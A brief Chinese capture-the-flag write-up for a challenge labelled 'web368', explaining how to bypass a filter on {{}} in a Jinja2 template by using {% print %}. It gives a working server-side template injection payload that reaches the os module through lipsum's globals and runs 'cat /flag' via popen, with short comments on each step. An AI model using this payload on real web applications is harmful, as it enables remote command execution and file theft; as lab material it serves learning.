web368

本题过滤了{{}}

使用{%printf%}进行绕过
//仅{% %}只能执行注入代码，加上printf可以进行打印结果
payload
{%print( (lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}&a=__globals__&b=os&c=cat%20/flag
//lipsum：调用模板自带对象
globals：全局大仓库，里面存放所有能用的模块
['os']：从仓库拿出系统命令模块
执行payload得到flag